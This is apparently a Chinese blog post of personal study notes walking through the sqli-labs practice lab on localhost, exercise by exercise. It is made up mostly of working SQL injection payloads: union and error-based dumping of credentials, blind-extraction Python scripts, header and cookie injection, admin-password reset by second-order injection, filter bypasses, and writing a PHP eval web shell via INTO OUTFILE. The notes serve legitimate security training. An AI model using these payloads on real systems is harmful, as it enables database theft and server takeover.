sqli-lab修炼笔记

    xiaoxiao2021-04-15  227

    前言:最近做了一些sql注入的题目,发现自己还是不怎么会,很多东西都还没有见过,所以就下载了sqli-lab来练一练,每天至少做一题。

    一.Less-1

    这个没有任何过滤,就不说了。

    ///0' order by 3 ///0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # ####emails,referers,uagents,users ///0' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' # #####USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password ///0' union select group_concat(username),group_concat(password),group_concat(id) from users #

    二.Less-2

    输入1,正常显示,输入1‘,报错

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

    所以这是一个intiger injection。 输入

    1 order by 1 正常回显 1 order by 2 正常回显 1 order by 3 正常回显 1 order by 4 不正常回显 所以我们可以知道有3个字段

    继续

    0 union select 1,2,3 #

    回显说明 显示第二个和第三个。 继续注入

    0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

    爆出表名 emails,referers,uagents,users 继续注入

    0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

    爆出字段名 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password 继续注入

    0 union select 1,group_concat(username),group_concat(password) from users #

    爆出所有用户名和密码。

    三.Less-3

    首先输入1,正常回显,输入1‘ 报错,报错如下。 说明原来的语句可能是这样的

    select * from users where id=(' 变量 ') limit 0,1;

    打开语句果然是这样。接下来就和上面一样开始注入

    0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

    结果如下

    emails,referers,uagents,users

    继续注入

    0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

    结果如下

    USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,usernamefilename,id,username,password

    继续注入

    0') union select 1,group_concat(username),group_concat(password) from users #

    四.Less-4

    只是把上面的单引号换成了双引号。

    五.Less-5

    打开测试了一下,发现显示 you are in …。一时间不知道如何下手,看了title,double query,双查询注入,查了一下。

    1.聚合函数后面如果加了分组函数 就会报错,并会返回查询结果。聚合函数有这些

    AVG([distinct] expr) COUNT({*|[distinct] } expr) MAX([distinct] expr) MIN([distinct] expr) SUM([distinct] expr) 其中count后面能加 '*'

    2.floor(rand()*2)生成随机数并且想下取整。为什么要用这个呢? floor(rand()*2),会生成0或者1,只要表里面有两个相同的就会报错。如下图所示。 这样就能报错注入了。

    127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select database()),floor(2*rand()))as a from information_schema.tables group by a # // 127.0.0.1/www/sql/Less-5/?id=-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(2*rand()))as a from information_schema.tables group by a # //

    其他的都类似就不写了。

    还可以用多表查询的格式来报错注入

    //select 1 from (table name); 多表查询 -1' union select 1,2,1 from (select count(*), concat((select user()), floor(rand()*2))as a from information_schema.tables group by a)b

    最后那个b也可以改为其他的,只是个别名,一定要加上去,因为每一个派生类的表都要有别名。

    六.Less-6

    单引号换为双引号就行了。

    七.Less-7

    输入 1 显示you are in —USE outfile—,接着输入1‘ 报错,接着输入1" 不报错,输入1’)#报错,输入1‘))#不报错,所以用1‘))来闭合,接着发现输入一些常用的,都不会显示结果,报错注入也没有用。然后看了title,outfile,于是上网搜索了一下,outfile。 于是用以下的payload。

    id=1')) union select 1,2,'<?php @eval($_POST["123"]);?>' into outfile 'D:\\wamp\\tmp\\qwe.php' #

    试了其他的存放路径好像不太行,可能是权限问题吧,这样就上传了一句话木马,chopper连接就行了。

    八.Less-8

    今天做了一下那个强网的sql注入题,呜呜呜,tcl。 输入1,回显you are in ,输入 1’ # ,有回显 。 说明这个是单引号闭合,可是又没有回显。这个时候,试一试盲注。

    import requests url1='http://127.0.0.1/www/sql/Less-8/?id=' data="1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},sleep(5),0) #" table_name='' for i in range(1,20): for j in range(48,128): d=data.format(i,j) url=url1+d try: r=requests.get(url=url,timeout=5) except requests.exceptions.ReadTimeout: table_name+=chr(j) print(table_name)

    这样得到第一个表名,然后稍稍修改就行了。

    九.Less-9

    这题无论输入什么,都不会报错,那这样输入

    1' and 1=1 and sleep(5) #

    发现过了5s,浏览器才给予回应,接着这样输入

    1“ and 1=1 and sleep(5) #

    这样就直接给予回应,所以这里应该是单引号闭合的,而且是一个盲注,所以我们写脚本。 脚本和less7的那个差不多,只要把url该一下就行了。

    十.Less-10

    单引号改为双引号就行了。

    十一.Less-11

    尝试一下 admin’ or 1=1 #,密码随便输,竟然成功,所以这里就很简单了,没有任何过滤,hiahiahia。

    1' union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #

    脱表名,然后就和之前一下很简单啦。

    十二.Less-12

    输入admin’ 没有任何回显,输入admin" 报错了 报错如下

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") and password=("") LIMIT 0,1' at line 1

    可以的看到这里是用("")来闭合的,所以我们只要闭合这个"),就可以了。 输入admin") or 1=1 # 就可以得到username和password。 然后下面就很好注入了,依次得到数据库里面的内容。

    十三.Less-13

    简单的测试了一下,发现是‘)闭合的,而且没有回显,可以用基于布尔型的盲注,或者double query injection。 基于布尔型的盲注

    1‘) or substr((查询语句),1,1)>'a' #

    double query injection

    1') union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #

    建议使用基于布尔的盲注,因为double query 有的时候需要试好几次。

    十四.Less-14

    输入1‘ 没有回显,输入1“报错了,说明这个是双引号闭合,构造payload

    1" union select count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a #

    或者基于bool的盲注

    1“ or substr(查询语句,1,1)>'a'#

    写python脚本进行盲注,当页面第一次出现失败的时候,字母的前一位就是正确的值。 下面只是一个小例子。

    import requests url1='http://127.0.0.1/www/sql/Less-14/' flag='' for j in range(1,16): for i in range(47,127): payload={ 'uname':"1\" or ascii(substr((select database()),{},1))>{} #", 'passwd':'1' } payload['uname']=payload['uname'].format(str(j),str(i)) r=requests.post(url=url1,data=payload) print(payload) if 'flag' not in r.content.decode('utf-8'): flag+=chr(i) break print(flag)

    十五.Less-15 输入 1‘ or 1=1 #成功 输入 1" or 1=1 #失败 所以是单引号闭合 这边不会报错,所以我们就用盲注,基于bool,或者时间。 基于bool

    import requests url1='http://127.0.0.1/www/sql/Less-15/' flag='' for j in range(1,16): for i in range(47,127): payload={ 'uname':"1' or ascii(substr((select database()),{},1))>{} #", 'passwd':'1' } payload['uname']=payload['uname'].format(str(j),str(i)) r=requests.post(url=url1,data=payload) print(payload) if 'flag' not in r.content.decode('utf-8'): flag+=chr(i) break print(flag)

    十六.Less-16

    经过一番小测试,测试出来原来的语句是用") 来闭合的。输入admin") and if(2>1,sleep(5),3)#发现浏览器果然过了5秒钟,才给予回应,所以我们可以时间盲注来进行注入,当然我们也可以用基于bool的盲注,进行注入。 这里我只贴出基于时间盲注的一个小脚本,需要使用的时候自己稍微改一下,也不是很麻烦。我这里为什么要加ascii呢,因为我之前跑的时候,发现他这个不会区分大小写,这就很难受,所以我加了ascii。

    import requests url="http://127.0.0.1/www/sql/Less-16/" flag="" for i in range(1,15): for j in range(48,127): payload={ 'uname':'admin") and if(ascii(substr((select database()),{},1))={},sleep(3),1)#', 'passwd':'1' } payload['uname']=payload['uname'].format(str(i),str(j)) try: r=requests.post(url=url,data=payload,timeout=3) except: flag+=chr(j) print(flag) print('the data is '+flag)

    用的时候需要自己改查询语句。

    十七.Less-17

    登陆页面我们发现这是一个密码重置,所以猜测后台的sql语句是这样的,

    update set password=' ' where username=xxxx

    可以用updatexml,也可以用extractxml进行注入。

    1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #

    然后就很简单了,查数据就行了。

    十八.Less-18

    进入网址,测试了一番没有什么用,然后读了源码,发现这个题目必须要登陆进去才能进行注入。注入点在哪呢,host肯定是不能注入的,uname也肯定是不能注入的,只能在uagent那边进行注入。 源代码如下

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-18 Header Injection- Error Based- string</title> </head> <body bgcolor="#000000"> <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome   <font color="#FF0000"> Dhakkan </font><br></div> <div align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;"> <div style="padding-top:10px; font-size:15px;"> <!--Form to post the contents --> <form action="" name="form1" method="post"> <div style="margin-top:15px; height:30px;">Username :     <input type="text" name="uname" value=""/> </div> <div> Password :     <input type="text" name="passwd" value=""/></div></br> <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div> </form> </div> </div> <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center"> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .$IP; echo "<br>"; //echo 'Your User Agent is: ' .$uagent; // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); /* echo 'Your Your User name:'. $uname; echo "<br>"; echo 'Your Password:'. $passwd; echo "<br>"; echo 'Your User Agent String:'. $uagent; echo "<br>"; echo 'Your User Agent String:'. $IP; */ //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } } ?> </font> </div> </body> </html>

    所以我们这边利用报错注入得到数据。 burp抓包,修改数据。

    User-Agent: hahaha' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1 User-Agent: hahaha' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

    以上两个都可以,这样就得到了数据内容。接下来还和常规套路一样,直接爆表那些的。

    十九.Less-19

    主要代码如下

    $uagent = $_SERVER['HTTP_REFERER']; $IP = $_SERVER['REMOTE_ADDR']; $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; mysql_query($insert); }

    我们可以修改referer,然后造成报错注入。 burp抓包,修改referer为下面内容

    Referer: 123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1 或者 Referer: 123' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1

    接着就是常规套路,?

    二十.Less-20

    首先登陆进去,看到页面返回如下信息。 看到这里有cookie,我们就想到cookie注入。 用burp抓包尝试一下注入。 将cookie改为1‘ ,页面会报错。 将cookie改为1“,页面正常显示。 所以我们这里开始注入,测试发现原来查询语句,查询了3个字段,回显在第二,第三字段。 如下图所示。 然后就可以按常规发放注入了。

    二十一.Less-21

    源代码如下。

    $cookee = base64_decode($cookee); echo "<br></font>"; $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

    cookie注入,burp抓一下包,发现cookie用了base64加密了,那只需要将我们的注入语句进行base64加密就行了。 请求包如下

    GET /index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: uname=MScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAj Upgrade-Insecure-Requests: 1

    二十二.Less-22

    重要代码如下

    $cookee = base64_decode($cookee); $cookee1 = '"'. $cookee. '"'; echo "<br></font>"; $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

    这边的cookie被他用双引号给引起来了,所以还是很简单。 请求包如下

    GET /Less-22/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCkgIw== Upgrade-Insecure-Requests: 1

    二十三.Less-23

    测试了一下,这边是单引号闭合,而且把注释符给过滤了,不过并没有什么用。我们可以通过 and ‘1’=‘1 这种方式来闭合单引号,这样就不需要注释了,嘻嘻嘻。 这边的姿势就很多了,可以直接union查询,也可以报错注入。

    -1' union select 1,2,3 and '1'='1 -1' and updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e) and '1'='1

    剩下的就很简单了。

    二十四.Less-24

    这个是一个二次注入,虽然在执行sql语句的时候,加了/ 转义,但是当数据插入表的时候,还是原来的语句,这个时候就造成了二次注入,这样我们就可以修改管理员的密码。 我们注册一个用户 叫 admin’# ,然后登陆进去修改密码,修改完后,admin的密码就是你刚刚修改的密码。为什么会这样呢,看一下下面这个update语句就知道了。

    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

    当我们输入的时候,这个语句会变成这样子

    update users set password='123' where username='admin'#' and password='$curr_pass';

    这个时候后面的的东西就被注释掉了,所以管理员密码也就被改掉了。

    二十五.Less-25

    登陆进去发现他已经告诉我们了 and 和 or 被过滤了,然后我尝试输入anandd,发现回显and,说明他只是把and替换成了空,我们这里可以双写绕过,这就很简单了,嘿嘿嘿。 payload如下

    -1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() #

    注意这里的information里面的or要双写,这样我们就可以得到了数据库里面所有的内容。

    二十六.Less-26

    这里过滤了空格和and or,不过没关系,我们都可以绕过的。 payload如下,利用报错注入。

    id=0'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1))||''='a

    二十七.Less-27

    过滤了select,union,发现union可以双写绕过,select就不能双写绕过了,然而可以大小写绕过,这样就很简单了,嘻嘻嘻。空格可以用

    转载请注明原文地址: https://yun.8miu.com/read-287.html

    最新回复(0)